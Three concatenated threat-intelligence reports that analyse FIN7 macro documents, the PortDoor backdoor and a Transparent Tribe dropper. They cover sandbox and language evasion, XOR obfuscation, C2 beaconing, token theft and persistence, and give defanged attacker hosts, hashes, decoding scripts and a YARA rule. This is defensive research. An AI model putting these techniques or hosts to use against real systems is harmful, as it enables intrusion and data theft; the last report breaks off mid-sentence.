Cybercrime Group FIN7 Using Windows 11 AlphaThemed Docs to Drop Javascript Backdoor anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor Authored by: Gage Mele, Tara Gould, Rory Gould, and Sean Townsend Key Findings Anomali Threat Research discovered six malicious Windows 11 Alpha-themed Word documents with Visual Basic macros being used to drop JavaScript payloads, including a Javascript backdoor. While we cannot conclusively identify the attack vector for this activity, our analysis. strongly suggests the attack vector was an email phishing or spearphishing campaign. We assess with moderate confidence that the financially motivated threat group FIN7 is responsible for this campaign. Based on the file names observed in this campaign, the activity likely took place around late-June to late-July 2021. Overview Anomali Threat Research conducted analysis on malicious Microsoft Word document (.doc) files themed after Windows 11 Alpha and assess with moderate confidence that these Word documents were part of a campaign conducted by the threat group FIN7. The group goal appears to have been to deliver a variation of a JavaScript backdoor used by FIN7 since at least 2018.[1] FIN7 FIN7 is an Eastern European threat group that has been active since at least mid-2015. They primarily target United States (US)-based companies across various industries but also operate on a global scale. The group is one of the world s most notorious cybercrime groups and has been credited with the theft of over 15 million payment card records that cost organizations around the world approximately one billion dollars (USD) in losses.[2] In the US alone, the group has targeted over 100 companies and compromised the networks of organizations in 47 states and the District of Columbia.[3] While FIN7 s primary objective is to directly steal financial information, such as credit and debit card data, they will also steal sensitive information to sell on underground marketplaces. There has been a concerted attempt by law enforcement to tackle the group, including the arrest of three members arrested August 2018 and a high-level organizer in April 2021.[4] Despite these personnel losses and media attention, the group has continued a steady stream of documented activity since at least 2015.[5] 1/18 In early 2021, FIN7 was identified as gaining illicit access to a law firm s network by using a fake legal complaint themed around Brown-Forman Inc., the parent company of Jack Daniels whiskey.[6] Related Groups FIN7 is closely associated with the threat group referred to as Carbanak, with the two groups sharing a significant number of TTPs including the use of the Carbanak backdoor.[7] As such, news media and some intelligence vendors use the names interchangeably. To add to the confusion, different vendors will use their own naming conventions for each group that include: FIN7 - Carbon Spider (Crowdstrike), Gold Niagara (Secureworks), Calcium (Symantec) Carbanak - Carbon Spider (Crowdstrike), Anunak (Group-IB) Trend Micro released a report in April 2021 outlining the differences in TTPs between the two groups and MITRE also track the two groups separately.[8] For clarity, we will treat FIN7 and Carbanak as separate groups; the main distinction being FIN7 focuses on hospitality and retail sectors, while Carbanak targets banking institutions. Technical Analysis Word Document MD5 d60b6a8310373c9b84e6760c24185535 File name Users-Progress-072021-1.doc The infection chain began with a Microsoft Word document (.doc) containing a decoy image claiming to have been made with Windows 11 Alpha. The image asks the user to Enable Editing and Enable Content to begin the next stage of activity, as shown in Figure 1 below. 2/18 Figure 1 Windows 11-Themed Maldoc Analyzing the file, we can see a VBA macro populated with junk data as comments, shown in Figure 2. Once the content/editing has been enabled, the macro is executed. 3/18 Figure 2 VBA Macro with Junk Data Junk data is a common tactic used by threat actors to impede analysis. Once we remove this junk data, we are left with a VBA macro, as shown in Figure 3 below. 4/18 Figure 3 VBA Macro without Junk Data The VBScript will take encoded values from a hidden table inside the .doc file, shown in Figure 4. Figure 4 Values and Key from Hidden Table The values are deciphered with the function shown in Figure 5. 5/18 Figure 5 Decoding Function in VBScript The values from the table are deobfuscated using an XOR cipher. In this sample, the key is uPHdq3MxjOCfnXB. Figure 6 VBA Decoding Function Ported into Python After deobfuscating the VBA macro, using the script shown in Figure 6, we can see what is occurring in the code. 6/18 Figure 7 Checks Carried Out Shown in Table 1 are the language checks carried out. Table 1 Language checks Code Language 1049 Russian 1058 Ukrainian 2073 Russian-Moldova 1070 Sorbian 1051 Slovak 1060 Slovenian 1061 Estonian 3098 Serbian 2074 Serbian (Latin) If these languages are detected, the function me2XKr is called which deletes the table and stops running. 7/18 Figure 8 VM Checks The script checks for Virtual Machines, as shown in Figure 8, and if detected it stops running. Figure 9 Domain Check Shown in Figure 9, the script checks for the domain CLEARMIND, which appears to refer to the domain of a Point-of-Sale (POS) service provider. The checks include: Domain name, specifically CLEARMIND (Figure 9) Language, if any of the languages listed in Table 1 Reg Key Language Preference for Russian Virtual machine - VMWare, VirtualBox, innotek, QEMU, Oracle, Hyper and Parallels, if a VM is detected the script is killed (Figure 8) Memory Available, if there is less than 4GB then don t proceed Check for RootDSE via LDAP If the checks are satisfactory, the script proceeds to the function where a JavaScript file called word_data.js is dropped to the TEMP folder. However, if the language and VM checks are detected, the table deletes itself and does not proceed to the JavaScript payload. This JavaScript file is also full of junk data, as shown in Figure 10 below. 8/18 Figure 10 JavaScript File (word_data.js) with Junk Data Once again, we removed the junk data to analyze the JavaScript, which we can see contains obfuscated strings, shown in Figure 11. 9/18 Figure 11 Example JavaScript Function without Junk Data The JavaScript file also contains a deobfuscation function which is shown in Figure 12 below. 10/18 Figure 12 JavaScript Snippet Containing the XOR Function Analyzing the XOR cipher function, ben9qtdx4t is the key used to decrypt the strings in the JavaScript file (word_data.js). The obfuscation is carried out using a substitution cipher that goes from A through K, displayed in Table 2 below. Table 2 Substitution Cipher Code 11/18 Figure 13 Deobfuscated Strings After replacing the obfuscated values with the deobfuscated strings, the Javascript backdoor appears to have similar functionality with other backdoors reportedly used by FIN7.[9] Figure 14 First Connection A connection is first made to tnskvggujjqfcskwk.com, (Figure 14) and based on the response, a connection is then made to bypassociation[.]com. This address is created by picking values from each array (Figure 15) at random. 12/18 Figure 15 Path and Arrays After connecting to the bypassociation[.]com address, the script checks for an active IP to retrieve the MAC address and DNSHostName (Figure 16), which are then submitted via a POST request to the bypassociation address. Figure 16 eq5w0 = xgq86 + z897r8d, aka the MAC address and DNSHostName are appended to the data sent Based on the response, further Javascript is executed, as shown in Figure 17. Figure 17 Javascript Execution 13/18 Attribution Targeting of a POS provider aligns with previous FIN7 activity The use of decoy doc files with VBA macros also aligns with previous FIN7 activity FIN7 have used Javascript backdoors historically Infection stops after detecting Russian, Ukrainian, or several other Eastern European languages Password protected document Tool mark from Javascript file "group=doc700&rt=0&secret=7Gjuyf39Tut383w&time=120000&uid=" follows similar pattern to previous FIN7 campaigns The specified targeting of the Clearmind domain fits well with FIN7 s preferred modus operandi. As a California-based provider of POS technology for the retail and hospitality sector, a successful infection would allow the group to obtain payment card data and later sell the information on online marketplaces. The US Department of Justice calculates that as of 2018 FIN7 was responsible for stealing over 15 million card records from 6,500 POS terminals.[10] The use of a JavaScript backdoor is also primarily associated with FIN7 and is a common feature within its campaigns.[11] It is worth noting that Carbanak has also been known to use Javascript payloads but, as this targets retail and health POS systems, it aligns with FIN7 activity. While not providing solid attribution, the language check function and table it scores against indicate a likely geographic location for the creator of this malicious doc file. It is accepted as an almost unofficial policy that cybercriminals based in the Commonwealth of Independent States (CIS) are generally left alone, provided they do not target interests or individuals within their respective borders, ergo the VBA macro checking the target system language against a list including common CIS languages which will terminate the infection if found to match. The addition of Sorbian, a minority German Slavic language, Estonian, Slovenian and Slovak are unusual additions as these would not be languages considered for exclusion but would be considered fair game. It is worth noting that REvil ransomware also includes these languages in their exclusion tables, a group that is believed to work with FIN7.[12] Conclusion FIN7 is one of the most notorious financially motivated groups due to the large amounts of sensitive data they have stolen through numerous techniques and attack surfaces. Things have been turbulent for the threat group over the past few years as with success and notoriety comes the ever-watchful eye of the authorities. Despite high-profile arrests and sentencing, including alleged higher-ranking members, the group continues to be as active as ever.[13] US 14/18 prosecutors believe the group numbers around 70 individuals, meaning the group can likely accommodate these losses as other individuals will step in.[14] Targeting infrastructure appears to be a more successful method of stopping or delaying these actors. Endnotes Kremez, Vitali. 2018. Let's Learn: In-Depth Review of FIN7 VBA Macro & Lightweight JavaScript Backdoor. November 28. Accessed 8 18, 2021. https://www.vkremez.com/2018/11/in-depth-review-of-fin7-vba-macro.html. ESentire. 2021. Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels Owner, Brown-Forman Inc. July 21. Accessed August 17, 2019. https://www.esentire.com/security-advisories/notorious-cybercrime-gangfin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-ownerbrown-forman-inc. [3] Department of Justice. 2018. Three Members of Notorious International Cybercrime Group Fin7 In Custody for Role in Attacking Over 100 U.S. companies. August 1. Accessed August 19, 2019. https://www.justice.gov/opa/pr/three-members-notorious-internationalcybercrime-group-fin7-custody-role-attacking-over-100. Ibid; Department of Justice. 2021. High-level organizer of notorious hacking group FIN7 sentenced to ten years in prison for a scheme that compromised tens of millions of debit and credit cards . April 16. Accessed August 17, 2021. https://www.justice.gov/usaowdwa/pr/high-level-organizer-notorious-hacking-group-fin7-sentenced-ten-years-prisonscheme. [5] Carr, Goody, Miller and Vengerik, On the Hunt. [6] ESentire, Notorious Cybercrime Gang. [7] Carr, Goody, Miller and Vengerik, On the Hunt. [8] Trend Micro. 2021. Carbanak and FIN7 Attack Techniques. April 20. Accessed August 17, 2021. https://www.trendmicro.com/en_gb/research/21/d/carbanak-and-fin7-attacktechniques.html. SentinelOne. 2019. Deep Insight into FIN7 Malware Chain: From Office Macro Malware to Lightweight JS Loader. October 3. Accessed August 19, 2021. https://labs.sentinelone.com/fin7-malware-chain-from-office-macro-malware-tolightweight-js-loader/. [10] Department of Justice, Three Members. 15/18 [11] Kaspersky. 2019. FIN7.5: the infamous cybercrime rig FIN7 continues its activities. May 8. Accessed August 17, 2021. https://securelist.com/fin7-5-the-infamous-cybercrimerig-fin7-continues-its-activities/90703/. [12] Counter Threat Unit Research Team. 2019. REvil/Sodinokibi Ransomware. September 24. Accessed August 24, 2021. https://www.secureworks.com/research/revil-sodinokibiransomware; Singleton, Camille, Christopher Kiefer, and Ole Villadsen. 2020. Ransomware 2020: Attack Trends Affecting Organizations Worldwide. September 28. Accessed August 24, 2021. https://securityintelligence.com/posts/ransomware-2020-attack-trends-newtechniques-affecting-organizations-worldwide/. [13] Department of Justice, High-level organizer. [14] Ibid. IOCs Filename Hash Clients-Current_state-062021-0.doc dc7c07bac0ce9d431f51e2620da93398 Clients-Progress-072021-7.doc d17f58c6c9771e03342cdd33eb32e084 Clients-State-072021-4.doc ad4a6a0ddeacdf0fc74c3b45b57a1316 Customers-State-072021-3.doc de14cf1e58d288187680f5938e2250df Clients-State-072021-4.doc ad4a6a0ddeacdf0fc74c3b45b57a1316 Users-Progress-072021-1.doc d60b6a8310373c9b84e6760c24185535 Users-Progress-072021-1.lnk 72149bbd364326618df00dc6b0e0b4c4 word_data.bin/word_data.js 0d12e8754adacc645a981426e69b91ec word_data.bin/word_data.js 8f5302dafa90958117cbee992a0e09a9 word_data.bin/word_data.js f4c77f40e325a420be4660370a97158c word_data.bin/word_data.js ce80bf89bbc800547039844d400ab27c word_data.bin/word_data.js 41c48b16a01f0322b4e851aa4e1c4e0e IP Address 85.14.253.178 Domains 16/18 tnskvggujjqfcskwk[.]com https://bypassociation[.]com https://bypassociation[.]com/images/sync?type=name https://bypassociation[.]com/new?type=name https://bypassociation[.]com/pictures/hide?type=name https://bypassociation[.]com/pictures/show?type=name https://bypassociation[.]com/images/hide?type=name https://bypassociation[.]com/img/hide?type=name https://bypassociation[.]com/img/add?type=name https://bypassociation[.]com/images/add?type=name https://bypassociation[.]com/info/hide?type=name MITRE ATT&CK Technique Name Execution T1059.005 Command and Scripting Interpreter: Visual Basic T1059.007 Command and Scripting Interpreter: Javascript T1204.002 User Execution: Malicious File T1047 Windows Management Instrument T1140 Deobfuscate/Decode Files or Information T1027 Obfuscated Files or Information T1497 Virtualization/Sandbox Evasion T1497.001 Virtualization/Sandbox: System Checks T1087.002 Account Discovery: Domain Account Defense Evasion Discovery Appendix Script for deobfuscating VBA: 17/18 def fin_decode(list, keyS): keyOrd = [ord(l)for l in keyS] final_list = [] count = 0 for num in list: key_2 = keyOrd[count % len(keyS)] count += 1 final_list.append(str(num - key_2)) finalList = ' '.join(final_list) for n in range(0, len(final_list)): final_list[n] = int(final_list[n]) let = chr(final_list[n]) print(let, end='') Script for deobfuscating the Javascript files: def xor(data, key): dict = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': ","} length = len(key) dictD = [dict[d] for d in data] values = "".join(str(x) for x in dictD) values = values.strip(',') values = values.split(',') d = [int(k) for k in values] key_ord = [ord(m) for m in key] decode = "" count = 0 for i in d: decode += chr(i ^ key_ord[count % length]) count += 1 print(decode) Topics: Research 18/18 PortDoor: New Chinese APT Backdoor Attack Targets Russian Defense Sector cybereason.com/blog/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector April 30, 2021 | 7 minute read The Cybereason Nocturnus Team has been tracking recent developments in the RoyalRoad weaponizer, also known as the 8.t Dropper/RTF exploit builder. Over the years, this tool has become a part of the arsenal of several Chinese-related threat actors such as Tick, Tonto Team and TA428, all of which employ RoyalRoad regularly for spear-phishing in targeted attacks against high-value targets. While analyzing newly discovered RoyalRoad samples observed in-the-wild, the Nocturnus Team detected one that not only exhibits anomalous characteristics, but also delivers PortDoor malware, a previously undocumented backdoor assessed to have been developed by a threat actor likely operating on behalf of Chinese state-sponsored interests. According to the phishing lure content examined, the target of the attack was a general director working at the Rubin Design Bureau, a Russian-based defense contractor that designs nuclear submarines for the Russian Federation s Navy. Key Findings RoyalRoad Variants are Under Development: The variant of the RoyalRoad weaponizer examined altered its encoded payload from the known file to a new filename: . More new variants are likely to be under development as well. Previously Undocumented Backdoor: The newly discovered RoyalRoad RTF variant examined also drops a previously undocumented and stealthy backdoor dubbed PortDoor which is designed with obfuscation and persistence in mind. Highly Targeted Attack: The threat actor is specifically targeting the Rubin Design Bureau, a part of the Russian defense sector designing submarines for the Russian Federation s Navy. Extensive Malware Capabilities: Portdoor has multiple functionalities, including the ability to do reconnaissance, target profiling, delivery of additional payloads, privilege escalation, process manipulation static detection antivirus evasion, one-byte XOR encryption, AES-encrypted data exfiltration and more. APT Group Operating on Behalf of Chinese State Interests: The accumulated evidence such as the infection vector, social engineering style, use of RoyalRoad against similar targets, and other similarities between the newly discovered backdoor sample and other known Chinese APT malware all bear the hallmarks of a threat actor operating on behalf of Chinese state-sponsored interests. Analysis of the Spear-Phishing Attack: Intro to RoyalRoad RoyalRoad is a tool that generates weaponized RTF documents that exploit the following vulnerabilities in Microsoft s Equation Editor: CVE2017-11882, CVE-2018-0798 and CVE-2018-0802. RoyalRoad is used primarily by threat actors considered to be operating on behalf of Chinese state interests (e.g Tick, Tonto Team, TA428, Goblin Panda, Rancor). RoyalRoad has rather consistent characteristics and most of the weaponized RTF documents usually drop an encoded file named , which once decoded - can deliver a variety of payloads for different threat actors. In this report, we discuss a deviation from the classic RoyalRoad characteristics. The dropped object name was changed from the very consistent naming convention to the new file name. Spear-Phishing Email Delivers RoyalRoad RTF The initial infection vector is a spear-phishing email addressed to the respectful general director Igor Vladimirovich at the Rubin Design Bureau, a submarine design center from the Gidropribor concern in St. Petersburg, a national research center that designs underwater weapons like submarines: 1/10 Content of the spear-phishing e-mail The email attachment is a malicious RTF document weaponized with a RoyalRoad payload, with content describing a general view of an autonomous underwater vehicle: Content of the weaponized RTF document The creation time of the RTF is timestomped to 2007, presumably to thwart investigation or detection efforts. Timestomping is a known technique used by threat actors to try and remain under the radar: Historical RTF data from VirusTotal Once the RTF document is opened and executed, a Microsoft Word add-in file is dropped to the Microsoft Word startup folder. This technique is used by various actors to bypass detection of automatic execution persistence, since Word must be relaunched in order to trigger the add-in file, making the persistence mechanism less noisy Contrary to the common file name observed in most RoyalRoad payloads, this new RoyalRoad variant uses naming convention for the temporary file payload, which is eventually written to MS Word startup folder as winlog.wll Weaponized RTF execution and dropped files on disk 2/10 The malicious execution of the RTF file is detected by the Cybereason Defense Platform: Cybereason Detection of the PortDoor Backdoor PortDoor Backdoor Analysis The dropped payload, named winlog.wll , is a previously undocumented backdoor. Its main capabilities include: Gathering reconnaissance and profiling of the victim s machine Receiving commands and downloading additional payloads from the C2 server Communicating with the C2 server using raw socket as well as HTTP over port 443 with proxy authentication support Privilege escalation and process manipulation Dynamic API resolving for static detection evasion One byte XOR encryption of sensitive data and configuration strings The collected information is AES-encrypted before it is sent to the C2 server Detailed Analysis The DLL itself has multiple export functions, going from DllEntry00 to DllEntry33. Most of these exports simply return sleep loops, a likely anti-analysis measure. The main functionality resides within the DllEntry28 and DllEntry18: 3/10 DLL exports of the PortDoor backdoor In order to get the configuration information, the backdoor first decrypts the strings using a hardcoded 0xfe XOR key: Strings decryption routine The decrypted data includes the following configuration information: The decrypted strings in memory Decrypted string Purpose 45.63.27[.]162 C2 address Kr*^j4 B-JDUN Victim identifier 58097616.tmp Data file name written to %temp% 0987654321fedcba AES-CBC key It is worth noting that, during the analysis, the communication with the C2 was not successful and therefore some analysis information may be incomplete. Following the debugger presence check and the string decryption, the malware then creates an additional file in %temp% with the hardcoded name 58097616.tmp , and writes the GetTickCount value multiplied by a random number to it: 4/10 Value written to the 58097616.tmp file This can be used as an additional identifier for the target, and also as a placeholder for the previous presence of this malware. The malware then proceeds to attempt to establish a connection with the C2 which supports the transfer of data using TCP over raw sockets, or HTTPS using the CONNECT method. In addition the backdoor appears to be proxy-aware, distinguishing between two HTTP response types: response and (Proxy Authentication Required): Hardcoded HTTP headers with proxy support PortDoor also has the ability to achieve privilege escalation by applying the Access Token Theft technique to steal explorer.exe tokens and run under a privileged security context: Access token theft from explorer.exe Eventually, the malware awaits for further instructions from the C2 to continue its execution. This is done via the following switch case: 5/10 Some of the switch case implemented methods For example, the get_pc_info() case gathers basic PC info to be sent to the C2, and the B-JDUN string is most likely being used as a unique identifier for the campaign/victim: The information gathered on the infected PC Lastly, before sending the information to the C2 server the backdoor uses AES to encrypt the stolen PC information data: AES encrypted information gathered on the PC The backdoor s main C2 command functionality is summarized in the table below: Case Action 0x08 Get PC info, concat with the B-JDUN" identifier 0x30 List running processes 0x31 Open process 0x41 Get free space in logical drives 0x42 Files enumeration 0x43 Delete file 0x44 Move file 0x45 Create process with a hidden window 6/10 0x28 Open file for simultaneous operations 0x29 Write to file 0x2a Close handle 0x2b Open file and write directly to disk 0x01 Look for the Kr*^j4 string 0x10 Create pipe, copy data from it and AES encrypt 0x11 Write data to file, append with 0x12 Write data to file, append with exit\n C2 command functionality summarized Another anti-analysis technique observed being used by the PortDoor backdoor is dynamic API resolving. The backdoor is able to hide most of its main functionality and avoid static detection of suspicious API calls by dynamically resolving its API calls instead of using static imports: Dynamic API resolving The malicious execution of the PortDoor backdoor DLL is detected by the Cybereason Defense Platform: PortDoor Backdoor DLL as detected by Cybereason Attribution At the time of this analysis, there was not enough information available to attribute the newly discovered backdoor to a known threat actor with reasonable certainty. However, there are a couple of known Chinese APT groups that share quite a few similarities with the threat actor behind the new malware samples analyzed in this blog. Based on previous work done by nao_sec, the Nocturnus Team was able to determine that the RTF file discussed in this blog was weaponized with RoyalRoad v7, which bears the indicative b0747746 header encoding and was previously observed being used by the Tonto Team, TA428 and Rancor threat actors, as can be seen below: 7/10 RoyalRoad attribution matrix. Credit: nao_sec Both the Tonto Team and TA428 threat actors have been observed attacking Russian organizations in the past, and more specifically attacking research and defense related targets. For example, it was previously reported that Tonto Team is known to have attacked Russian organizations in the past using the Bisonal malware. When comparing the spear-phishing email and malicious documents in these attacks with previously examined phishing emails and lure documents used by the Tonto Team to attack Russian organizations, there are certain similarities in the linguistic and visual style used by the attackers in the phishing emails and documents. The newly discovered backdoor does not seem to share significant code similarities with previously known malware used by the abovementioned groups, other than anecdotal similarities that are quite common to backdoors, leading us to the conclusion that it is not a variant of a known malware, but is in fact novel malware that was developed recently. Lastly, we are also aware that there could be other groups, known or yet unknown, that could be behind the attack and the development of the PortDoor backdoor. We hope that as time goes by, and with more evidence gathered, the attribution could be more concrete. Conclusion RoyalRoad has been one of the most used RTF weaponizers in the Chinese threat actors sphere in recent years. It is mostly observed in the initial compromise phase of targeted attacks where spear-phishing is used to lure victims into opening malicious documents which in turn exploit Microsoft Equation Editor vulnerabilities to drop different malware. In this report, we discussed the latest changes that were made to the RoyalRoad weaponizer that deviate from some of its well-documented and predictable indicators. It is perhaps an indication that the threat actors who are operating it are attempting to avoid low hanging fruit detections. In addition, we reported the discovery of the novel PortDoor backdoor, a previously undocumented and stealthy tool designed to grant the attackers access to their targets machines, collect information, and deploy additional payloads. At the time of writing this report, it is still unclear which threat actor is behind the new backdoor, however we have identified two potential suspects that fit the profile. Currently there is not enough information available to prove the stated hypothesis with a high level of certainty. LOOKING FOR THE IOCs? CLICK ON THE CHATBOT DISPLAYED IN LOWER-RIGHT OF YOUR SCREEN. VIEW THE IOCS MITRE ATT&CK Matrix Reconnaissance Initial Access Execution Persistence Privilege Escalation Defense Evasion Discovery Comm Contro Gather Victim Host Information Phishing: Spearphishing Attachment Command Scripting Interpreter: Windows Command Shell Office Application Startup: Add-ins Process Injection Masquerading: Match Legitimate Name or Location Virtualization/Sandbox Evasion Encryp Chann 8/10 Access Token Manipulation: Token Impersonation/Theft Virtualization/Sandbox Evasion File and Directory Discovery Applica Layer Protoc Process Injection System Information Discovery Proxy: Extern Proxy Obfuscated Files or Information System Time Discovery Access Token Manipulation: Token Impersonation/Theft Process Discovery Signed Binary Proxy Execution: Rundll32 About the Researchers: DANIEL FRANK Daniel Frank is a senior Malware Researcher at Cybereason. Prior to Cybereason, Frank was a Malware Researcher in F5 Networks and RSA Security. His core roles as a Malware Researcher include researching emerging threats, reverse-engineering malware and developing security-driven code. Frank has a BSc degree in information systems. ASSAF DAHAN Assaf Dahan is the Senior Director and Head of Threat Research at Cybereason. He has over 15 years in the InfoSec industry. He started his career in the Israeli Military 8200 Cybersecurity unit where he developed extensive experience in offensive security. Later in his career he led Red Teams, developed penetration testing methodologies, and specialized in malware analysis and reverse engineering. About the Author Cybereason Nocturnus The Cybereason Nocturnus Team has brought the world s brightest minds from the military, government intelligence, and enterprise security to uncover emerging threats across the globe. They specialize in analyzing new attack methodologies, reverse-engineering malware, and exposing unknown system vulnerabilities. The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and 9/10 Bad Rabbit cyberattacks. All Posts by Cybereason Nocturnus 10/10 APT Group Targets Indian Defense Officials Through Enhanced TTPs During our routine threat hunting exercise, Cyble Research Labs came across a malware sample posted on Twitter by a researcher who believes that the malware belongs to Transparent Tribe, an Advanced Persistent Threat (APT) Group. Given the nature of the victim and the way they are targeted, we can draw some similarities to the Side Copy APT group. Both APT groups are known to have mainly targeted India s Defense and Government sectors in the past. Additionally, both groups have used various other RAT and malware to launch campaigns via multiple modes such as phishing, delivering payload via mail, etc. The malware posted by the researcher on Twitter has used a technique to hide the actual malware in the .vhdx file to avoid any antivirus detection. As per Wikipedia, .vhdx is the successor of VHD (Virtual Hard Disk). The figure below shows the high-level execution flow of the malware. Upon execution, the malware checks for the current time zone. If it is able to verify that the victim system s time zone is in IST, it connects to the attacker s URL for downloading the second stager. Once downloaded, it executes the second stager payload and deletes itself. The second stager payload checks that only one instance of the malware is running, and then it connects with the attacker Command and Control (C&C) server to start receiving the commands from Threat Actor (TA). Figure 1 High-Level Execution Flow of Malware Technical Analysis Cyble Research started analysis with the malware file name AFD CSD APP.vhdx; the sample had an extension. vhdx. After double-clicking on the AFD CSD APP.vhdx we observed it creating a mount in the Operating System (OS) with the name CSD App . After opening the mounted drive, we got the malicious malware file which is CSD_AppLaunch.exe. Figure 2 Actual Malware present in CSD APP Mount While performing a static analysis of the CSD_AppLaunch.exe malicious file, we determined that that the file is an x86 architecture Windows-based Graphical User Interface (GUI) Application written in .NET Language shown in the figure below. Figure 3 Static Details of First Stager The icon of the malicious app had the logo of the Canteen Store Department (CSD) of the Indian Armed Forces, as shown in the figure below. Figure 4 Application Logo Used for First Stager Code Analysis (CSD_AppLaunch.exe) As per the below code, once the malware has been executed, it checks whether the current OS time Zone is India Standard Time (IST); if the OS time is not in IST, the malware exits. This tells us that the malware has been created with the explicit purpose of targeting the Indian Defense establishment and service members. Figure 5 Malware Checks for Time Zone Initially, the code shown below figure uses the .NET WebBrowser() class to open the URL h[tt]ps:[//]afd.csdindia[.]gov[.]in and load the Form1_Load module to execute the malicious malware code. Figure 6 Malware Loading Indian CSD Website in Custom Browser and Execute Form1_Load Once the Form1_Load method is called, the code shown in Figure 7 creates a directory in C:\\ProgramData as Intel Wifi* If this directory is not present, it will be created, Once the directory is present, the malware proceeds to download the next stager payload from URL https[:]//secure256[.]net/ver4.mp3. Then, the malware decrypts the ver4.mp3 content to create IntelWifi.exe malicious binary in C:\\ProgramData\\Intel Wifi as shown in the code below. Figure 7 Create Folder in ProgramData and Download Second Stager The code below contains the decryption logic used by the malware to decrypt the content of ver4.mp3 file. Figure 8 Decrypt Second Stager Finally, the first stager malware calls the Final method to create a new file name music.mp3 which contains the decrypted data of ver4.mp3 in the C:\\ProgramData directory. After this step, it sleeps for 6 seconds and then uses the Move function to rename the music.mp3 file to IntelWifi.exe. It then sleeps for five more seconds and then executes IntelWifi.exe binary and delete CSD_AppLaunch.exe (first stager) binary as shown in the figure below. Figure 9 Create Second Stager Binary IntelWifi.exe Technical Analysis for IntelWifi.exe (Second Stager) Static analysis of IntelWifi.exe tells that the binary is an x86 architecture Windows-based Graphical User Interface (GUI) application written in .NET language as shown in the figure below. Figure 10 Static Details of IntelWifi (Second Stager) As per the below code, initially, the malware checks that only a single instance of a malware process is running. Then, it checks whether the current time zone is India Standard Time. Further, it calls CheckDirectory() method to create \\Intel Wifi directory and vmnx.dll file. Finally, it calls the Form1 module to execute the malicious codes. Figure 11 Second Stager Malware Performing Various Checks Form1() module calls IntializeComponent method, which in turn loads the Form1_Load method. The Form1_Load then calls Run() method to start the malware activity as shown in the figure below. Figure 12 Execution Flow to Initiate the Malicious Activity The Run code is shown in Figure 13. Once executed, it connects to the attacker s C&C on address 45[.]147[.]228[.]195[:]5434. After establishing contact with the C&C server, it calls the Run method from the Grabber class to execute a series of methods to get the victim s environment details, e.g., OS, current username, etc. Once the victim environment details are extracted, the malware sends the details to the attacker s C&C with key x999 and then waits for commands to be received from the attacker. Figure 13 Malware Communicating to Attacker s C&C and Waiting to receive the Command Below we have listed a series of methods executed by the Run() method present in the Grabber class. Figure 14 Series of Methods Executed by Malware Methods Description CreateID() Create vmvcx.dll file and Generate Victim ID based on processor detail and P-Followed by random number and write the ID is vmvcx.dll file. E.g., PXXX-XXXXXXXXXXXX Name() Get the Computer Name and Current Username PubIp() Get the Victim s public IP using http://icanhazip[.]com LocIp() Get the Victim s Local IP OSType() Get the Victim s Operating System (OS) details Av() Get the AV s List present in Victim s Machine MacType() Check whether Victim s is using desktop or Laptop CreateNonStop() Add persistence in Startup Folder Table 1 Methods Description Which Malware invokes The below figure shows that the cynetcloud shortcut file is created in the startup folder using CreateNonStop() method. The value file:///C:\ProgramData\Intel Wifi\IntelWifi.exe executes whenever the Windows machine starts. This is done for the purpose of creating and maintaining persistence on the victim machine. Figure 15 Malware Created Persistent in Start-Up Folder Once all the methods are executed, as shown in Table 1, the malware sends the user data to Attacker s C&C. In the figure below, the malware has connected to our fake emulated C&C. Figure 16 Malware Connected to Fake C&C Once connected, the malware sends the victim s environment details. The malware goes into a dormant stage to get the next command from the attacker s C&C. For example, in the below figure, we have sent prc1 to the malware to get the process details of the victim. Figure 17 Output Received from malware Below is the code used by the malware to handle the commands received from C&C. Figure 18 Various Functionalities which Malware Support basis on the Command Received from C&C Conclusion The APT groups are evolving their tools and techniques to stay ahead of various security solutions like AV & EDR. Based on the fact that this malware has multiple artifacts such as the logo, the URL used in the initial code, we can conclude that the malware has been created specifically to target Indian Defense or Government officials. Cyble Research Labs will continuously monitor security threats, whether they are ongoing or emerging. We will continue to update our readers with our latest findings. Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the suggestions given below: Use a reputed anti-virus and internet security software package on your connected devices. Use the shared IOCs to monitor and block the malware infection. Conduct regular backup practices and keep those backups offline or in a separate network. Refrain from opening untrusted links and email attachments without verifying their authenticity. Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic. Use strong passwords and enforce multi-factor authentication wherever possible. MITRE ATT&CK Techniques Tactic Technique ID Technique Name **Execution ** T1204 User Execution Persistence T1547 Boot or Logon Autostart Execution Discovery T1057 T1124 T1033 T1082 Process Discovery System Time Discovery System Owner/User Discovery System Information Discovery Command and Control T1095 T1571 Non-Application Layer Protocol Non-Standard Port Indicators of Compromise (IoCs): Indicators Indicator type Description 124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce SHA-256 IntelWifi.exe 84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34 SHA-256 CSD_AppLaunch.exe 5e645eb1a828cef61f70ecbd651dba5433e250b4724e1408702ac13d2b6ab836 SHA-256 AFD CSD APP.vhdx http://secure256[.]net/ Second Stager URL 45.147.228.195:5434 IP:Port Attacker s C&C Generic signatures and Rules: Yara Rules: rule win32_csdmalware meta: author= "Cyble Research" date= "2021-09-14" description= "Coverage for CSD_Application.exe & IntelWifi.exe" csd_application_hash= "84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34 intelwifi_hash= "124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce" strings: $header= "MZ" $sig1 = "CreateNonStop" wide ascii $sig2 = "LocIp" wide ascii $sig3 = "MacType" wide ascii $sig4 = "45.147.228.195" wide ascii $sig5 = "qmquqsqiqcq.qmqpq3q" wide ascii $sig6 = "secure256.net" wide ascii $sig7 = "ver4.mp3" wide ascii $sig8 = "x33117" wide ascii condition: $header at 0 and (3 of ($sig*)) **About Us ** Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 